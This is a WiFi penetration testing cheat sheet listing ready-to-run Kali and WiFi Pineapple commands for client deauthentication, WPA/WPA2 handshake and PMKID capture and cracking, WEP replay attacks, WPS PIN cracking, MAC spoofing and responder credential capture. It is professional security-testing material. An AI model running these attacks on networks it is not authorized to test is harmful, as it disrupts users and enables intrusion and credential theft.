WiFi Penetration Testing Cheat Sheet

This is more of a checklist for myself. May contain useful tips and tricks.

Everything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple Mark VII Basic with the firmware v1.0.2.

Everything was tested on Kali Linux v2021.4 (64-bit) and WiFi Pineapple NANO with the firmware v2.7.0.

For help with any of the tools type `<tool_name> [-h | -hh | --help]` or `man <tool_name>`.

Sometimes `-h` can be mistaken for a host or some other option. If that's the case, use `-hh` or `--help` instead, or read the manual with `man`.

Websites that you should use while writing the report:

- cwe.mitre.org/data
- owasp.org/projects
- cheatsheetseries.owasp.org
- nvd.nist.gov/vuln-metrics/cvss/v3-calculator
- nvd.nist.gov/ncp/repository
- attack.mitre.org

Check the most popular tool for auditing wireless networks v1s1t0r1sh3r3/airgeddon. Credits to the author!

Future plans:

- fake AP with RADIUS to crack the WPA2 Enterprise authentication.

My other cheat sheets:

- Penetration Testing Cheat Sheet
- iOS Penetration Testing Cheat Sheet
- Android Testing Cheat Sheet

Table of Contents

1. Configuration

View the configuration of network interfaces:

```
ifconfig && iwconfig && airmon-ng
```

Turn a network interface on/off:

```
ifconfig wlan0 up

ifconfig wlan0 down
```

Restart the network manager:

```
service NetworkManager restart
```

Check the WLAN regulatory domain:

```
iw reg get
```

Set the WLAN regulatory domain:

```
iw reg set HR
```

Turn the power of a wireless interface up/down (too high can be illegal in some countries):

```
iwconfig wlan0 txpower 40
```

2. Monitoring

Set a wireless network interface to the monitoring mode:

```
airmon-ng start wlan0

ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up
```

Set a wireless network interface to the monitoring mode on a specified channel:

```
airmon-ng start wlan0 8

iwconfig wlan0 channel 8
```

[Optional] Kill services that might interfere with wireless network interfaces in the monitoring mode:

```
airmon-ng check kill
```

Set a wireless network interface back to the managed mode:

```
airmon-ng stop wlan0mon

ifconfig wlan0 down && iwconfig wlan0 mode managed && ifconfig wlan0 up
```

Search for WiFi networks within your range:

```
airodump-ng --wps -w airodump_sweep_results wlan0mon

wash -a -i wlan0mon
```

[Optional] Install `reaver/wash` on WiFi Pineapple Mark VII:

```
opkg update && opkg install libpcap reaver
```

[Optional] Install `reaver/wash` on WiFi Pineapple Nano:

```
opkg update && opkg install libpcap && opkg -d sd install wash
```

Monitor a WiFi network to capture handshakes/requests:

```
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
```

If you specified the output file, don't forget to stop `airodump-ng` after you are done monitoring because it will fill up all your free storage space with a large PCAP file.

Use Kismet or WiFi Pineapple to find more information about wireless access points, e.g. their MAC address, vendor's name, etc.

3. Cracking

Check if a wireless interface supports packet injection:

```
aireplay-ng --test wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```

WPA/WPA2 Handshake

Monitor a WiFi network to capture a WPA/WPA2 4-way handshake:

```
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
```

[Optional] Deauthenticate clients from a WiFi network:

```
aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```

Start the dictionary attack against a WPA/WPA2 handshake:

```
aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF -w rockyou.txt airodump_essid_results*.
```

PMKID Attack

Crack the WPA/WPA2 authentication without deauthenticating clients.

Install required tools on Kali Linux:

```
apt-get update && apt-get -y install hcxtools
```

[Optional] Install required tool on WiFi Pineapple Mark VII:

```
opkg update && opkg install hcxdumptool
```

[Optional] Install required tool on WiFi Pineapple Nano:

```
opkg update && opkg -d sd install hcxdumptool
```

Start capturing PMKID hashes for all nearby networks:

```
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon
```

[Optional] Start capturing PMKID hashes for specified WiFi networks:

```
echo HH:HH:HH:HH:HH:HH | sed 's/\://g' >> filter.txt
```

```
hcxdumptool --enable_status=1 -o hcxdumptool_results.cap -i wlan0mon --filterlist
```

Sometimes it can take hours to capture a single PMKID hash.

Extract PMKID hashes from a PCAP file:

```
hcxpcaptool hcxdumptool_results.cap -k hashes.txt
```

Start the dictionary attack against PMKID hashes:

```
hashcat -m 16800 -a 0 --session=cracking --force --status -O -o hashcat_results.t
```

Find out more about Hashcat from my other project.

ARP Request Replay Attack

If target WiFi network is not busy, it can take days to capture enough IVs to crack the WEP authentication.

Do the fake authentication to a WiFi network with non-existing MAC address and keep the connection alive:

```
aireplay-ng --fakeauth 6000 -o 1 -q 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:
```

If MAC address filtering is active, do the fake authentication to a WiFi network with an existing MAC address:

```
aireplay-ng --fakeauth 0 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF
```

To monitor the number of captured IVs, run `airodump-ng` against a WiFi network and watch the `#Data` column (try to capture around 100k IVs):

```
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
```

Start the standard ARP request replaying against a WiFi network:

```
aireplay-ng --arpreplay wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF
```

[Optional] Deauthenticate clients from a WiFi network:

```
aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```

Crack the WEP authentication:

```
aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF replay_arp*.cap
```

Hitre Attack

This attack targets clients, not wireless access points. You must know the SSIDs of your target's WiFi networks.

[Optional] Set up a fake WEP WiFi network if the real one is not present:

```
airbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a FF:FF:FF:FF:FF:FF
```

If needed, turn up the power of a wireless network interface to missassociate clients to the fake WiFi network, see how in section 1. Configuration.

Monitor the real/fake WiFi network to capture handshakes/requests:

```
airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid
```

Start replaying packets to clients within your range:

```
aireplay-ng --cfrag -D wlan1 -e essid -h FF:FF:FF:FF:FF:FF
```

[Optional] Deauthenticate clients from the real/fake WiFi network:

```
aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF
```

Crack the WEP authentication:

```
aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF airodump_essid_results*.cap
```

WPS PIN

Crack a WPS PIN:

```
reaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF
```

Crack a WPS PIN with some delay between attempts:

```
reaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b FF:FF
```

4. Wordlists

You can find `rockyou.txt` inside `/usr/share/wordlists/` directory or inside SecLists - a useful collection of multiple types of wordlists for security assessments.

Install SecLists (the collection will be stored at `/usr/share/seclists/` directory):

```
apt-get update && apt-get install seclists
```

Another popular wordlist collections:

- xmendez/wfuzz
- assetnote/commonspeak2-wordlists
- weakpass.com/wordlist
- packetstormsecurity.com/Crackers/wordlists

Password Spraying

Find out how to generate a good password spraying wordlist from my other project, but first you will need a few good keywords that describe your target.

Such keywords can be a company name, abbreviations, words that describe your target's services, products, etc.

After you generate the wordlist, use it with `aircrack-ng` to crack a WPA/WPA2 handshake.

If strong password policy is enforced, passwords usually start with one capitalized word followed by a few digits and one special character at the end (e.g. Password123!).

You can also use the generated wordlist with Hashcat, e.g. to crack NTLMv2 hashes that you have collected using LLMNR responder, etc.

5. Post-Exploitation

If MAC address filtering is active, change the MAC address of a wireless interface to an existing one:

```
ifconfig wlan0 down && macchanger --mac FF:FF:FF:FF:FF:FF && ifconfig wlan0 up
```

Once you get an access to a WiFi network, run the following tools:

```
yersinia -G

responder -wF -i 192.168.8.5

wireshark
```

Find out how to pipe `tcpdump` from WiFi Pineapple to Wireshark from my other poject.

Try to access the wireless access point's web interface. Search the Internet for default paths and credentials.

Start scanning/enumerating the network.

6. Evil-Twin

Find out how to set up a fake authentication web page on a fake WiFi network with WiFi Pineapple Mark VII Basic from my other project, as well as how to set up all the tools from this cheat sheet.